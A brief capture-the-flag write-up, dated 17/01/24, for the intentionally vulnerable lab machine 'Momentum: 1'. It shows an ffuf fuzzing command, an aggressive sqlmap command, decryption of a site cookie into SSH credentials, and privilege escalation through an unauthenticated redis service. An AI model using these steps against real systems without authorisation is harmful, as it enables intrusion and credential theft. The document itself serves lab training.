Momentum: 1

By Lawcky 17/01/24

Introduction

Momentum: 1

Difficulty : easy+

Additionnal info :

Name: Momentum: 1
Release date: 22 Apr 2021
Author: AL1ENUM
Series: Momentum

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• ffuf
• sqlmap
• AES encryption
• redis

---

Write-UP

FUZZING

ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt:FUZZ -u http://192.168.1.61/FUZZ -fc 403 -e .txt,.html,.php

---

found apache default documentation at http://192.168.1.61/manual/

found what seems to be databases query when clicking on the index images

---

SQLmap

sqlmap -u http://192.168.1.61/opus-details.php\?id\=demon --batch --dbs --level 3 --risk 3

---

AES Encryption

in the /js/ we found

which is a code that encrypt something in the cookie of the website.

After getting the cookie :

U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

and the passphrase :

SecretPassphraseMomentum

using online tools (browserling here) to decrypt it

auxerre-alienum##

this wasnt a webpage, it was a ssh user:

auxerre:auxerre-alienum##

first flag found

---

Privilege Escalation

we found that there is a redis service running on the localhost without authentication, using this

to understand redis’ functions we were able to retrieve the root password of the machine that was inside a database of the service.

second flag found